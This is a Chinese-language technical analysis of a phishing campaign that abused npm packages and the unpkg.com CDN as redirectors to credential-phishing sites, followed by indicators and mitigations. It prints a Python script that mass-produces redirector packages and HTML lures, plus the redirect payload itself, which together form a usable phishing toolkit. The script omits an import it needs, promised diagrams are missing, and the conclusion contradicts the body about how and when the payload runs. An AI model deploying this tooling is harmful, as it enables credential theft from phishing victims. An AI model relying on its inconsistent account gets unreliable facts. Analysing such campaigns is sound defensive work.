
摘要
本報告提供了對一個複雜網路釣魚攻擊的技術分析,該攻擊利用 npm 生態系統作為不知情的基礎設施。該攻擊利用自動化工具來生成並發佈 malicious npm packages,這些packages隨後充當credential-phishing網站的redirectors。本分析深入探討了自動化package生成、JavaScript payload和整個網路釣魚基礎設施的技術機制,並強調了關鍵的indicators和緩解策略。

1. 簡介
軟體供應鏈已成為malicious actors的首要目標,npm 等 package 註冊中心被用於傳播有害的payload。本研究重點關注一個特定攻擊,該攻擊涉及 175 個malicious npm packages,目的為控制網路釣魚基礎設施。與直接攻擊不同,這些packages在被開發人員安裝時並不會展現malicious behavior。相反,它們充當一種隱蔽機制,當受害者開啟特製的 HTML 檔案時,會將其redirectors到網路釣魚網站 [1] 。本報告旨在剖析此攻擊的技術複雜性,提供對其操作方法和潛在應對措施的見解。
2. 自動化Package生成
The threat actors開發了一套高度自動化的 Python 工具包,以
redirect_generator.py
等scripts為例,來管理整個攻擊生命週期。這種自動化精簡了創建、發佈和部署malicious基礎設施的程序,從而實現快速擴展和規避檢測
[1]
。此自動化的核心功能包括 npm 認證、模板處理、package 創建、發佈到 npm registry,以及生成 HTML 誘餌。
2.1. Python 自動化Script分析
The
redirect_generator.py
script 協調了幾個關鍵步驟。以下帶有註解的程式碼演示了關鍵功能:
- import string
- import json
- import os
- def generate_random_package_name(prefix="redirect-"):
- # Generates a random 6-character suffix for package names.
- # This helps avoid collisions in the npm registry and makes
- # detection based on name patterns more challenging.
- suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
- return prefix + suffix
- def load_template(template_name):
- # Loads a JavaScript template file containing placeholders.
- if template_name == 'beamglea_template.js':
- return "var email = '{{EMAIL}}'; var urlPath = '{{URL}}'; window.location.href = urlPath + '#' + email;"
- return ""
- # Template processing: Replace placeholders with victim-specific data
- email = "victim@example.com"
- redirect_url = "https://phishing.example.com/login"
- template_js = load_template('beamglea_template.js')
- final_js = template_js.replace("{{EMAIL}}", email).replace("{{URL}}", redirect_url)
- # Write the processed JavaScript payload to 'beamglea.js'
- with open("beamglea.js", "w", encoding="utf-8") as f:
- f.write(final_js)
- # Generate unique package name and create package.json
- package_name = generate_random_package_name()
- package_json = {
- "name": package_name,
- "version": "1.0.0",
- "main": "beamglea.js"
- }
- with open("package.json", "w", encoding="utf-8") as f:
- json.dump(package_json, f, indent=4)
- # Generate the HTML lure
- package_version = package_json["version"]
- cdn_url = f"https://unpkg.com/{package_name}@{package_version}/beamglea.js"
- # Create HTML file that loads the malicious script from unpkg.com CDN
- html_lure = '<!DOCTYPE html>
- <html><head><meta charset="utf-8"/><title></title></head>'
- html_lure += f'<body><div class="appcontainer"></div><script src="{cdn_url}"></script></body></html>'
- with open("redirect.html", "w", encoding="utf-8") as f:
- f.write(html_lure)
2.2. 自動化Workflow
以下diagram說明了自動化package生成和部署的程序:
3. JavaScript payload的運作模式
該攻擊的malicious payload包含在一個名為
beamglea.js
的 JavaScript 檔案中。這個檔案被上傳到 npm registry,並可透過 unpkg.com content delivery network (CDN) 存取。當受害者開啟惡意的
redirect.html
檔案時,該檔案會從 CDN 加載
beamglea.js
腳本。
3.1. payload解析
payload的核心功能非常簡單:它提取一個 Hardcoded 的電子郵件位址和一個 Hardcoded 的redirect_url,然後將瀏覽器redirectors到該redirect_url,並在 URL 的hash segment中附加電子郵件位址,作為受害者在網路釣魚網站上的預填充使用者名稱。這是該攻擊的一個關鍵部分,因為它允許 Threat actor 追蹤每個受害者並客制網路釣魚頁面。
- // beamglea.js - The malicious payload
- var email = '{{EMAIL}}'; // Placeholder replaced by automation script
- var urlPath = '{{URL}}'; // Placeholder replaced by automation script
- window.location.href = urlPath + '#' + email; // The actual redirect
3.2. 存取方法
該攻擊的傳遞機制依賴於受害者執行惡意的
redirect.html
檔案。該 HTML 檔案的精妙之處在於它從合法的 npm CDN (unpkg.com) 加載malicious payload,使得初步的檔案掃描和網路流量分析更難發現異常。該 HTML 檔案的架構如下:
- <!DOCTYPE html>
- <html>
- <head>
- <meta charset="utf-8"/>
- <title></title>
- </head>
- <body>
- <div class="appcontainer"></div>
- <script src="https://unpkg.com/package_name@version/beamglea.js"></script>
- </body>
- </html>
4. 網路釣魚基礎架構
網路釣魚基礎設施是一個多組件系統,旨在實現彈性和隱蔽性[1]。
4.1. 基礎設施組件
- npm packages:託管
beamglea.js
重定向器腳本(redirector script)。 - unpkg.com CDN: 在全球提供 JavaScript Payload。
- 釣魚網站: 重新導向受害者的最終目的地。
- 電子郵件誘餌: 包含引用惡意軟體包的腳本標籤的 HTML 檔案。
4.2 基礎設施圖
下圖顯示了基礎設施元件之間的交互作用:
5. 偵測和緩解策略
偵測並緩解此類攻擊需要採取多層次的方法[1]。
5.1. 檢測指標
- 隨機產生的 package 名稱:類似
redirect-xxxxxx
的模式。 - 相同的 JavaScript 內容: 跨 Packages 保持一致的結構。
- 精簡的 package.json: 依賴項較少,主要欄位指向
beamglea.js
。 - 使用 unpkg.com CDN: 一律使用 unpkg.com。
5.2. 緩解措施
- 供應鏈安全工具:主動分析 npm 包元資料。
- 程式碼審查與靜態分析:識別可疑設定。
- 網路監控:偵測異常流量模式。
- 使用者教育:訓練使用者辨識網路釣魚攻擊。
6. 結論
本篇技術深度分析揭露了一起針對開發者與企業的大規模 npm 供應鏈攻擊行動。駭客透過複雜的自動化流程,運用 Python 腳本批量生成超過 175 個惡意 npm packages,並將其偽裝成合法的 Artifacts 散佈至公有註冊表。
攻擊的核心機制在於其高度隱蔽的 Payload。一旦惡意套件被下載與執行,Payload 會利用程式碼注入手法,秘密將使用者導向惡意的網路釣魚頁面,專門用於竊取瀏覽器 Session 認證 (Credentials)。分析發現,駭客利用 CDN 基礎設施建立隱蔽轉址鏈,並在 Payload 中使用 Hardcoded 的資料來精準鎖定高價值目標。
文章詳細還原了從惡意套件生成、偽裝、發佈到最終執行 Session 劫持的完整攻擊流程。內容不僅提供了關鍵的技術指標 (IOCs) 和惡意程式碼的技術特徵,更為企業與開發者社群提供了第一線的緩解與防禦指南,旨在加強供應鏈安全意識,並指導如何識別與清除潛在的惡意依賴項,從根本上防範這類高階的網路釣魚威脅。